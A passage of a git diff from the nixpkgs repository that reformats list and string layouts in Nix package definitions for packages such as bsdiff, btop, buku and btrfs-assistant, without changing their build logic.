     ++ optional enableVulkan "Vulkan";
 
-  disableFeatures =
-    [ "OutdatedBuildDetector" ] # disable automatic updates
-    # The feature disable is needed for VAAPI to work correctly: https://github.com/brave/brave-browser/issues/20935
-    ++ optionals enableVideoAcceleration [ "UseChromeOSDirectVideoDecoder" ];
+  disableFeatures = [
+    "OutdatedBuildDetector"
+  ] # disable automatic updates
+  # The feature disable is needed for VAAPI to work correctly: https://github.com/brave/brave-browser/issues/20935
+  ++ optionals enableVideoAcceleration [ "UseChromeOSDirectVideoDecoder" ];
 in
 stdenv.mkDerivation {
   inherit pname version;
diff --git a/pkgs/by-name/br/breeze-hacked-cursor-theme/package.nix b/pkgs/by-name/br/breeze-hacked-cursor-theme/package.nix
index 1a02f7fe8d82..40df55b370bc 100644
--- a/pkgs/by-name/br/breeze-hacked-cursor-theme/package.nix
+++ b/pkgs/by-name/br/breeze-hacked-cursor-theme/package.nix
@@ -21,25 +21,24 @@ stdenvNoCC.mkDerivation {
     hash = "sha256-gm50qgHdbjDYMz/ksbDD8tMqY9AqJ23DKl4rPFNEDX8=";
   };
 
-  postPatch =
-    ''
-      patchShebangs build.sh recolor-cursor.sh
-      substituteInPlace Makefile \
-        --replace "~/.icons" "$out/share/icons"
-      ./recolor-cursor.sh \
-    ''
-    + lib.optionalString (accentColor != null) ''
-      --accent-color "${accentColor}" \
-    ''
-    + lib.optionalString (baseColor != null) ''
-      --base-color "${baseColor}" \
-    ''
-    + lib.optionalString (borderColor != null) ''
-      --border-color "${borderColor}" \
-    ''
-    + lib.optionalString (logoColor != null) ''
-      --logo-color "${logoColor}"
-    '';
+  postPatch = ''
+    patchShebangs build.sh recolor-cursor.sh
+    substituteInPlace Makefile \
+      --replace "~/.icons" "$out/share/icons"
+    ./recolor-cursor.sh \
+  ''
+  + lib.optionalString (accentColor != null) ''
+    --accent-color "${accentColor}" \
+  ''
+  + lib.optionalString (baseColor != null) ''
+    --base-color "${baseColor}" \
+  ''
+  + lib.optionalString (borderColor != null) ''
+    --border-color "${borderColor}" \
+  ''
+  + lib.optionalString (logoColor != null) ''
+    --logo-color "${logoColor}"
+  '';
 
   nativeBuildInputs = [
     inkscape
diff --git a/pkgs/by-name/br/brig/package.nix b/pkgs/by-name/br/brig/package.nix
index f4914eeda873..6e20c75ea67c 100644
--- a/pkgs/by-name/br/brig/package.nix
+++ b/pkgs/by-name/br/brig/package.nix
@@ -22,19 +22,18 @@ buildGoModule rec {
 
   subPackages = [ "." ];
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-    ]
-    ++ lib.mapAttrsToList (n: v: "-X github.com/sahib/brig/version.${n}=${v}") {
-      Major = lib.versions.major version;
-      Minor = lib.versions.minor version;
-      Patch = lib.versions.patch version;
-      ReleaseType = "";
-      BuildTime = "1970-01-01T00:00:00+0000";
-      GitRev = src.rev;
-    };
+  ldflags = [
+    "-s"
+    "-w"
+  ]
+  ++ lib.mapAttrsToList (n: v: "-X github.com/sahib/brig/version.${n}=${v}") {
+    Major = lib.versions.major version;
+    Minor = lib.versions.minor version;
+    Patch = lib.versions.patch version;
+    ReleaseType = "";
+    BuildTime = "1970-01-01T00:00:00+0000";
+    GitRev = src.rev;
+  };
 
   postInstall = ''
     installShellCompletion --cmd brig \
diff --git a/pkgs/by-name/br/brltty/package.nix b/pkgs/by-name/br/brltty/package.nix
index 556cf7bad556..91c7c9eab8c3 100644
--- a/pkgs/by-name/br/brltty/package.nix
+++ b/pkgs/by-name/br/brltty/package.nix
@@ -33,13 +33,12 @@ stdenv.mkDerivation rec {
     python3.pkgs.setuptools
     tcl
   ];
-  buildInputs =
-    [
-      bluez
-      ncurses.dev
-    ]
-    ++ lib.optional alsaSupport alsa-lib
-    ++ lib.optional systemdSupport systemd;
+  buildInputs = [
+    bluez
+    ncurses.dev
+  ]
+  ++ lib.optional alsaSupport alsa-lib
+  ++ lib.optional systemdSupport systemd;
 
   meta = {
     description = "Access software for a blind person using a braille display";
diff --git a/pkgs/by-name/br/broot/package.nix b/pkgs/by-name/br/broot/package.nix
index 0337d6312945..e6a69f795a04 100644
--- a/pkgs/by-name/br/broot/package.nix
+++ b/pkgs/by-name/br/broot/package.nix
@@ -34,13 +34,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libgit2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      zlib
-    ];
+  buildInputs = [
+    libgit2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    zlib
+  ];
 
   buildFeatures = lib.optionals withTrash [ "trash" ] ++ lib.optionals withClipboard [ "clipboard" ];
 
diff --git a/pkgs/by-name/br/browserpass/package.nix b/pkgs/by-name/br/browserpass/package.nix
index 3c8fbaad9a7b..950e7aabd373 100644
--- a/pkgs/by-name/br/browserpass/package.nix
+++ b/pkgs/by-name/br/browserpass/package.nix
@@ -23,7 +23,8 @@ buildGoModule rec {
 
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
   vendorHash = "sha256-CjuH4ANP2bJDeA+o+1j+obbtk5/NVLet/OFS3Rms4r0=";
 
diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index 4eb4e5175505..597c26bb17f1 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -35,14 +35,13 @@ buildNpmPackage rec {
   npmDepsHash = "sha256-osdjtn9jn6T1YizQM7I9cfiHvIkrZ8HRDNjsR+FS/DE=";
   npmFlags = [ "--legacy-peer-deps" ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      makeWrapper
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    makeWrapper
+    copyDesktopItems
+  ];
 
   buildInputs = [
     pixman
diff --git a/pkgs/by-name/br/brunsli/package.nix b/pkgs/by-name/br/brunsli/package.nix
index 398d7b034698..c687020c0a31 100644
--- a/pkgs/by-name/br/brunsli/package.nix
+++ b/pkgs/by-name/br/brunsli/package.nix
@@ -37,13 +37,12 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      rm -r third_party
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      rm -r build
-    '';
+  postPatch = ''
+    rm -r third_party
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    rm -r build
+  '';
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/bs/bsdiff/package.nix b/pkgs/by-name/bs/bsdiff/package.nix
index 666d9c2690fd..91062c64ab32 100644
--- a/pkgs/by-name/bs/bsdiff/package.nix
+++ b/pkgs/by-name/bs/bsdiff/package.nix
@@ -16,29 +16,28 @@ stdenv.mkDerivation rec {
   };
 
   buildInputs = [ bzip2 ];
-  patches =
-    [
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/20-CVE-2014-9862.patch";
-        sha256 = "sha256-3UuUfNvShQ8fLqxCKUTb/n4BmjL4+Nl7aEqCxYrrERQ=";
-      })
-      ./CVE-2020-14315.patch
-      ./include-systypes.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/30-bug-632585-mmap-src-file-instead-of-malloc-read-it.patch";
-        sha256 = "sha256-esbhz2/efUiuQDuF7LGfSeEn3/f1WbqCxQpTs2A0ulI=";
-      })
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/31-bug-632585-mmap-dst-file-instead-of-malloc-read-it.patch";
-        sha256 = "sha256-Of4aOcI0rsgdRzPqyw2VRn2p9wQuo3hdlgDTBdXGzoc=";
-      })
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/32-bug-632585-use-int32_t-instead-off_t-for-file-size.patch";
-        sha256 = "sha256-SooFnFK4uKNXvXQb/LEcH8GocnRtkryExI4b3BZTsAY=";
-      })
-    ];
+  patches = [
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/20-CVE-2014-9862.patch";
+      sha256 = "sha256-3UuUfNvShQ8fLqxCKUTb/n4BmjL4+Nl7aEqCxYrrERQ=";
+    })
+    ./CVE-2020-14315.patch
+    ./include-systypes.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/30-bug-632585-mmap-src-file-instead-of-malloc-read-it.patch";
+      sha256 = "sha256-esbhz2/efUiuQDuF7LGfSeEn3/f1WbqCxQpTs2A0ulI=";
+    })
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/31-bug-632585-mmap-dst-file-instead-of-malloc-read-it.patch";
+      sha256 = "sha256-Of4aOcI0rsgdRzPqyw2VRn2p9wQuo3hdlgDTBdXGzoc=";
+    })
+    (fetchpatch {
+      url = "https://sources.debian.org/data/main/b/bsdiff/4.3-22/debian/patches/32-bug-632585-use-int32_t-instead-off_t-for-file-size.patch";
+      sha256 = "sha256-SooFnFK4uKNXvXQb/LEcH8GocnRtkryExI4b3BZTsAY=";
+    })
+  ];
 
   buildPhase = ''
     $CC -O3 -lbz2 bspatch.c -o bspatch
diff --git a/pkgs/by-name/bs/bsnes-hd/package.nix b/pkgs/by-name/bs/bsnes-hd/package.nix
index bad94f7b922c..6e18d86fe0c8 100644
--- a/pkgs/by-name/bs/bsnes-hd/package.nix
+++ b/pkgs/by-name/bs/bsnes-hd/package.nix
@@ -45,37 +45,36 @@ stdenv.mkDerivation {
     ./patches/0001-macos-copy-app-to-prefix.patch
   ];
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook3 ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libicns
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook3 ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libicns
+    makeWrapper
+  ];
 
-  buildInputs =
-    [
-      SDL2
-      libao
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXv
-      udev
-      gtk3
-      gtksourceview3
-      alsa-lib
-      openal
-      libpulseaudio
-    ];
+  buildInputs = [
+    SDL2
+    libao
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXv
+    udev
+    gtk3
+    gtksourceview3
+    alsa-lib
+    openal
+    libpulseaudio
+  ];
 
-  makeFlags =
-    [
-      "-C bsnes"
-      "prefix=$(out)"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ "hiro=gtk3" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "hiro=cocoa" ];
+  makeFlags = [
+    "-C bsnes"
+    "prefix=$(out)"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "hiro=gtk3" ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "hiro=cocoa" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/bt/btop/package.nix b/pkgs/by-name/bt/btop/package.nix
index 49114478a2d2..a4017138cae0 100644
--- a/pkgs/by-name/bt/btop/package.nix
+++ b/pkgs/by-name/bt/btop/package.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation rec {
     hash = "sha256-4x2vGmH2dfHZHG+zj2KGsL/pRNIZ8K8sXYRHy0io5IE=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals cudaSupport [
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals cudaSupport [
+    autoAddDriverRunpath
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
     apple-sdk_15
diff --git a/pkgs/by-name/bt/btor2tools/package.nix b/pkgs/by-name/bt/btor2tools/package.nix
index 76008417fb9e..4d8757d881f0 100644
--- a/pkgs/by-name/bt/btor2tools/package.nix
+++ b/pkgs/by-name/bt/btor2tools/package.nix
@@ -44,14 +44,13 @@ stdenv.mkDerivation {
     "lib"
   ];
 
-  cmakeFlags =
-    [
-      # RPATH of binary /nix/store/.../bin/btorsim contains a forbidden reference to /build/
-      "-DCMAKE_SKIP_BUILD_RPATH=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON"
-    ];
+  cmakeFlags = [
+    # RPATH of binary /nix/store/.../bin/btorsim contains a forbidden reference to /build/
+    "-DCMAKE_SKIP_BUILD_RPATH=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON"
+  ];
 
   meta = with lib; {
     description = "Generic parser and tool package for the BTOR2 format";
diff --git a/pkgs/by-name/bt/btrfs-assistant/package.nix b/pkgs/by-name/bt/btrfs-assistant/package.nix
index fce0bd8fc6eb..fa0f244fd057 100644
--- a/pkgs/by-name/bt/btrfs-assistant/package.nix
+++ b/pkgs/by-name/bt/btrfs-assistant/package.nix
@@ -41,36 +41,35 @@ stdenv.mkDerivation (finalAttrs: {
     qt6.qttools
     qt6.qtwayland
     util-linux
-  ] ++ lib.optionals enableSnapper [ snapper ];
+  ]
+  ++ lib.optionals enableSnapper [ snapper ];
 
-  prePatch =
-    ''
-      substituteInPlace src/util/System.cpp \
-        --replace-fail '/bin/bash' "${lib.getExe bash}"
+  prePatch = ''
+    substituteInPlace src/util/System.cpp \
+      --replace-fail '/bin/bash' "${lib.getExe bash}"
 
-      substituteInPlace src/main.cpp \
-        --replace-fail 'if (!qEnvironmentVariableIsEmpty("DISPLAY"))' ' if(!qEnvironmentVariableIsEmpty("DISPLAY") || !qEnvironmentVariableIsEmpty("WAYLAND_DISPLAY"))'
-    ''
-    + lib.optionalString enableSnapper ''
-      substituteInPlace src/main.cpp \
-        --replace-fail '/usr/bin/snapper' "${lib.getExe snapper}"
-    '';
+    substituteInPlace src/main.cpp \
+      --replace-fail 'if (!qEnvironmentVariableIsEmpty("DISPLAY"))' ' if(!qEnvironmentVariableIsEmpty("DISPLAY") || !qEnvironmentVariableIsEmpty("WAYLAND_DISPLAY"))'
+  ''
+  + lib.optionalString enableSnapper ''
+    substituteInPlace src/main.cpp \
+      --replace-fail '/usr/bin/snapper' "${lib.getExe snapper}"
+  '';
 
-  postPatch =
-    ''
-      substituteInPlace src/org.btrfs-assistant.pkexec.policy \
-        --replace-fail '/usr/bin' "$out/bin"
+  postPatch = ''
+    substituteInPlace src/org.btrfs-assistant.pkexec.policy \
+      --replace-fail '/usr/bin' "$out/bin"
 
-      substituteInPlace src/btrfs-assistant \
-        --replace-fail 'btrfs-assistant-bin' "$out/bin/btrfs-assistant-bin"
+    substituteInPlace src/btrfs-assistant \
+      --replace-fail 'btrfs-assistant-bin' "$out/bin/btrfs-assistant-bin"
 
-      substituteInPlace src/btrfs-assistant-launcher \
-        --replace-fail 'btrfs-assistant' "$out/bin/btrfs-assistant"
-    ''
-    + lib.optionalString enableSnapper ''
-      substituteInPlace src/btrfs-assistant.conf \
-        --replace-fail '/usr/bin/snapper' "${lib.getExe snapper}"
-    '';
+    substituteInPlace src/btrfs-assistant-launcher \
+      --replace-fail 'btrfs-assistant' "$out/bin/btrfs-assistant"
+  ''
+  + lib.optionalString enableSnapper ''
+    substituteInPlace src/btrfs-assistant.conf \
+      --replace-fail '/usr/bin/snapper' "${lib.getExe snapper}"
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/bt/btrfs-progs/package.nix b/pkgs/by-name/bt/btrfs-progs/package.nix
index dead16e648bf..21e59f764205 100644
--- a/pkgs/by-name/bt/btrfs-progs/package.nix
+++ b/pkgs/by-name/bt/btrfs-progs/package.nix
@@ -27,18 +27,17 @@ stdenv.mkDerivation rec {
     hash = "sha256-31q4BPyzbikcQq2DYfgBrR4QJBtDvTBP5Qzj355+PaE=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ [
-      (buildPackages.python3.withPackages (
-        ps: with ps; [
-          sphinx
-          sphinx-rtd-theme
-        ]
-      ))
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ [
+    (buildPackages.python3.withPackages (
+      ps: with ps; [
+        sphinx
+        sphinx-rtd-theme
+      ]
+    ))
+  ];
 
   buildInputs = [
     acl
@@ -59,17 +58,16 @@ stdenv.mkDerivation rec {
     install -v -m 444 -D btrfs-completion $out/share/bash-completion/completions/btrfs
   '';
 
-  configureFlags =
-    [
-      # Built separately, see python3Packages.btrfsutil
-      "--disable-python"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      "--disable-backtrace"
-    ]
-    ++ lib.optionals (!udevSupport) [
-      "--disable-libudev"
-    ];
+  configureFlags = [
+    # Built separately, see python3Packages.btrfsutil
+    "--disable-python"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    "--disable-backtrace"
+  ]
+  ++ lib.optionals (!udevSupport) [
+    "--disable-libudev"
+  ];
 
   makeFlags = [ "udevruledir=$(out)/lib/udev/rules.d" ];
 
diff --git a/pkgs/by-name/bu/budgie-gsettings-overrides/package.nix b/pkgs/by-name/bu/budgie-gsettings-overrides/package.nix
index ca3def9789ff..f45fc84c8341 100644
--- a/pkgs/by-name/bu/budgie-gsettings-overrides/package.nix
+++ b/pkgs/by-name/bu/budgie-gsettings-overrides/package.nix
@@ -57,7 +57,8 @@ let
     budgie-desktop-view
     gsettings-desktop-schemas
     mutter
-  ] ++ extraGSettingsOverridePackages;
+  ]
+  ++ extraGSettingsOverridePackages;
 
 in
 runCommand "budgie-gsettings-overrides" { preferLocalBuild = true; } ''
diff --git a/pkgs/by-name/bu/bugdom/package.nix b/pkgs/by-name/bu/bugdom/package.nix
index 924b69f29f50..5d38e25b73ac 100644
--- a/pkgs/by-name/bu/bugdom/package.nix
+++ b/pkgs/by-name/bu/bugdom/package.nix
@@ -46,32 +46,31 @@ stdenv.mkDerivation rec {
     "-DSDL2_INCLUDE_DIRS=${lib.getInclude SDL2}/include/SDL2"
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          mkdir -p $out/{bin,Applications}
-          mv {,$out/Applications/}Bugdom.app
-          makeWrapper $out/{Applications/Bugdom.app/Contents/MacOS,bin}/Bugdom
-        ''
-      else
-        ''
-          mkdir -p $out/share/bugdom
-          mv Data $out/share/bugdom
-          install -Dm755 {.,$out/bin}/Bugdom
-          wrapProgram $out/bin/Bugdom --run "cd $out/share/bugdom"
-          install -Dm644 $src/packaging/io.jor.bugdom.desktop $out/share/applications/io.jor.bugdom.desktop
-          install -Dm644 $src/packaging/io.jor.bugdom.png $out/share/pixmaps/io.jor.bugdom.png
-        ''
-    )
-    + ''
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        mkdir -p $out/{bin,Applications}
+        mv {,$out/Applications/}Bugdom.app
+        makeWrapper $out/{Applications/Bugdom.app/Contents/MacOS,bin}/Bugdom
+      ''
+    else
+      ''
+        mkdir -p $out/share/bugdom
+        mv Data $out/share/bugdom
+        install -Dm755 {.,$out/bin}/Bugdom
+        wrapProgram $out/bin/Bugdom --run "cd $out/share/bugdom"
+        install -Dm644 $src/packaging/io.jor.bugdom.desktop $out/share/applications/io.jor.bugdom.desktop
+        install -Dm644 $src/packaging/io.jor.bugdom.png $out/share/pixmaps/io.jor.bugdom.png
+      ''
+  )
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "Port of Bugdom, a 1999 Macintosh game by Pangea Software, for modern operating systems";
diff --git a/pkgs/by-name/bu/buildstream/package.nix b/pkgs/by-name/bu/buildstream/package.nix
index 17e7b3a146d8..c78558047149 100644
--- a/pkgs/by-name/bu/buildstream/package.nix
+++ b/pkgs/by-name/bu/buildstream/package.nix
@@ -34,25 +34,26 @@ python3Packages.buildPythonApplication rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [ buildbox ]
-    ++ (with python3Packages; [
-      click
-      dulwich
-      grpcio
-      jinja2
-      markupsafe
-      packaging
-      pluginbase
-      protobuf
-      psutil
-      pyroaring
-      requests
-      ruamel-yaml
-      ruamel-yaml-clib
-      tomlkit
-      ujson
-    ]);
+  dependencies = [
+    buildbox
+  ]
+  ++ (with python3Packages; [
+    click
+    dulwich
+    grpcio
+    jinja2
+    markupsafe
+    packaging
+    pluginbase
+    protobuf
+    psutil
+    pyroaring
+    requests
+    ruamel-yaml
+    ruamel-yaml-clib
+    tomlkit
+    ujson
+  ]);
 
   buildInputs = [
     fuse3
diff --git a/pkgs/by-name/bu/buku/package.nix b/pkgs/by-name/bu/buku/package.nix
index edf76eadacc1..f9ee0866ba22 100644
--- a/pkgs/by-name/bu/buku/package.nix
+++ b/pkgs/by-name/bu/buku/package.nix
@@ -57,34 +57,33 @@ buildPythonApplication rec {
     certifi
     urllib3
     html5lib
-  ] ++ lib.optionals withServer serverRequire;
+  ]
+  ++ lib.optionals withServer serverRequire;
 
-  preCheck =
-    ''
-      # Disables a test which requires internet
-      substituteInPlace tests/test_bukuDb.py \
-        --replace "@pytest.mark.slowtest" "@unittest.skip('skipping')" \
-        --replace "self.assertEqual(shorturl, \"http://tny.im/yt\")" "" \
-        --replace "self.assertEqual(url, \"https://www.google.com\")" ""
-      substituteInPlace setup.py \
-        --replace mypy-extensions==0.4.1 mypy-extensions>=0.4.1
-    ''
-    + lib.optionalString (!withServer) ''
-      rm tests/test_{server,views}.py
-    '';
+  preCheck = ''
+    # Disables a test which requires internet
+    substituteInPlace tests/test_bukuDb.py \
+      --replace "@pytest.mark.slowtest" "@unittest.skip('skipping')" \
+      --replace "self.assertEqual(shorturl, \"http://tny.im/yt\")" "" \
+      --replace "self.assertEqual(url, \"https://www.google.com\")" ""
+    substituteInPlace setup.py \
+      --replace mypy-extensions==0.4.1 mypy-extensions>=0.4.1
+  ''
+  + lib.optionalString (!withServer) ''
+    rm tests/test_{server,views}.py
+  '';
 
-  postInstall =
-    ''
-      make install PREFIX=$out
+  postInstall = ''
+    make install PREFIX=$out
 
-      mkdir -p $out/share/zsh/site-functions $out/share/bash-completion/completions $out/share/fish/vendor_completions.d
-      cp auto-completion/zsh/* $out/share/zsh/site-functions
-      cp auto-completion/bash/* $out/share/bash-completion/completions
-      cp auto-completion/fish/* $out/share/fish/vendor_completions.d
-    ''
-    + lib.optionalString (!withServer) ''
-      rm $out/bin/bukuserver
-    '';
+    mkdir -p $out/share/zsh/site-functions $out/share/bash-completion/completions $out/share/fish/vendor_completions.d
+    cp auto-completion/zsh/* $out/share/zsh/site-functions
+    cp auto-completion/bash/* $out/share/bash-completion/completions
+    cp auto-completion/fish/* $out/share/fish/vendor_completions.d
+  ''
+  + lib.optionalString (!withServer) ''
+    rm $out/bin/bukuserver
+  '';
 
   meta = with lib; {
     description = "Private cmdline bookmark manager";
diff --git a/pkgs/by-name/bu/bumblebee/package.nix b/pkgs/by-name/bu/bumblebee/package.nix
index cfffcec882f6..c19d0ec9d79a 100644
--- a/pkgs/by-name/bu/bumblebee/package.nix
+++ b/pkgs/by-name/bu/bumblebee/package.nix
@@ -54,12 +54,13 @@
 }:
 
 let
-  nvidia_x11s =
-    [ nvidia_x11 ]
-    ++ lib.optional nvidia_x11.useGLVND libglvnd
-    ++ lib.optionals (nvidia_x11_i686 != null) (
-      [ nvidia_x11_i686 ] ++ lib.optional nvidia_x11_i686.useGLVND libglvnd_i686
-    );
+  nvidia_x11s = [
+    nvidia_x11
+  ]
+  ++ lib.optional nvidia_x11.useGLVND libglvnd
+  ++ lib.optionals (nvidia_x11_i686 != null) (
+    [ nvidia_x11_i686 ] ++ lib.optional nvidia_x11_i686.useGLVND libglvnd_i686
+  );
 
   nvidiaLibs = lib.makeLibraryPath nvidia_x11s;
 
@@ -159,16 +160,15 @@ stdenv.mkDerivation rec {
   # includes the acceleration driver. As this is used for the X11
   # server, which runs under the host architecture, this does not
   # include the sub architecture components.
-  configureFlags =
-    [
-      "--with-udev-rules=$out/lib/udev/rules.d"
-      # see #10282
-      #"CONF_PRIMUS_LD_PATH=${primusLibs}"
-    ]
-    ++ lib.optionals useNvidia [
-      "CONF_LDPATH_NVIDIA=${nvidiaLibs}"
-      "CONF_MODPATH_NVIDIA=${nvidia_x11.bin}/lib/xorg/modules"
-    ];
+  configureFlags = [
+    "--with-udev-rules=$out/lib/udev/rules.d"
+    # see #10282
+    #"CONF_PRIMUS_LD_PATH=${primusLibs}"
+  ]
+  ++ lib.optionals useNvidia [
+    "CONF_LDPATH_NVIDIA=${nvidiaLibs}"
+    "CONF_MODPATH_NVIDIA=${nvidia_x11.bin}/lib/xorg/modules"
+  ];
 
   CFLAGS = [
     "-DX_MODULE_APPENDS=\\\"${xmodules}\\\""
diff --git a/pkgs/by-name/bu/bun/package.nix b/pkgs/by-name/bu/bun/package.nix
index 59a189d9e5d8..7928727f736d 100644
--- a/pkgs/by-name/bu/bun/package.nix
+++ b/pkgs/by-name/bu/bun/package.nix
@@ -36,7 +36,8 @@ stdenvNoCC.mkDerivation rec {
     unzip
     installShellFiles
     makeWrapper
-  ] ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [ autoPatchelfHook ];
   buildInputs = [ openssl ];
 
   dontConfigure = true;
diff --git a/pkgs/by-name/bu/burp/package.nix b/pkgs/by-name/bu/burp/package.nix
index a37ca2faac41..c658a0592460 100644
--- a/pkgs/by-name/bu/burp/package.nix
+++ b/pkgs/by-name/bu/burp/package.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation rec {
     openssl_legacy
     zlib
     uthash
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) acl;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) acl;
 
   configureFlags = [ "--localstatedir=/var" ];
 
diff --git a/pkgs/by-name/bu/buteo-syncfw/package.nix b/pkgs/by-name/bu/buteo-syncfw/package.nix
index 9acf267e799c..995c1c2ab369 100644
--- a/pkgs/by-name/bu/buteo-syncfw/package.nix
+++ b/pkgs/by-name/bu/buteo-syncfw/package.nix
@@ -67,27 +67,25 @@ stdenv.mkDerivation (finalAttrs: {
   # QMake doesn't handle strictDeps well
   strictDeps = false;
 
-  nativeBuildInputs =
-    [
-      doxygen
-      glib
-      pkg-config
-      wrapGAppsHook3
-    ]
-    ++ (with libsForQt5; [
-      qmake
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    doxygen
+    glib
+    pkg-config
+    wrapGAppsHook3
+  ]
+  ++ (with libsForQt5; [
+    qmake
+    wrapQtAppsHook
+  ]);
 
-  buildInputs =
-    [
-      dbus
-    ]
-    ++ (with libsForQt5; [
-      accounts-qt
-      qtdeclarative
-      signond
-    ]);
+  buildInputs = [
+    dbus
+  ]
+  ++ (with libsForQt5; [
+    accounts-qt
+    qtdeclarative
+    signond
+  ]);
 
   dontWrapGApps = true;
 
diff --git a/pkgs/by-name/bw/bws/package.nix b/pkgs/by-name/bw/bws/package.nix
index 8bc8bdd91761..75ee85f0e5a4 100644
--- a/pkgs/by-name/bw/bws/package.nix
+++ b/pkgs/by-name/bw/bws/package.nix
@@ -25,22 +25,20 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-SJn00C7vkNoghdVPUszep40RSL8fD+/ELUeuf9GBD7c=";
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      perl
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    perl
+  ];
 
-  buildInputs =
-    [
-      oniguruma
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      openssl
-    ];
+  buildInputs = [
+    oniguruma
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    openssl
+  ];
 
   env = {
     PYO3_PYTHON = "${python3}/bin/python3";
diff --git a/pkgs/by-name/by/byzanz/package.nix b/pkgs/by-name/by/byzanz/package.nix
index c12ea0e7777c..6c9cf06c15b6 100644
--- a/pkgs/by-name/by/byzanz/package.nix
+++ b/pkgs/by-name/by/byzanz/package.nix
@@ -41,26 +41,25 @@ stdenv.mkDerivation {
     pkg-config
     intltool
   ];
-  buildInputs =
-    [
-      which
-      gnome-common
-      glib
-      libtool
-      cairo
-      gtk3
-      xorg.xwininfo
-      xorg.libXdamage
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-bad
-      gst-plugins-good
-      gst-plugins-ugly
-      gst-libav
-      wrapGAppsHook3
-    ]);
+  buildInputs = [
+    which
+    gnome-common
+    glib
+    libtool
+    cairo
+    gtk3
+    xorg.xwininfo
+    xorg.libXdamage
+  ]
+  ++ (with gst_all_1; [
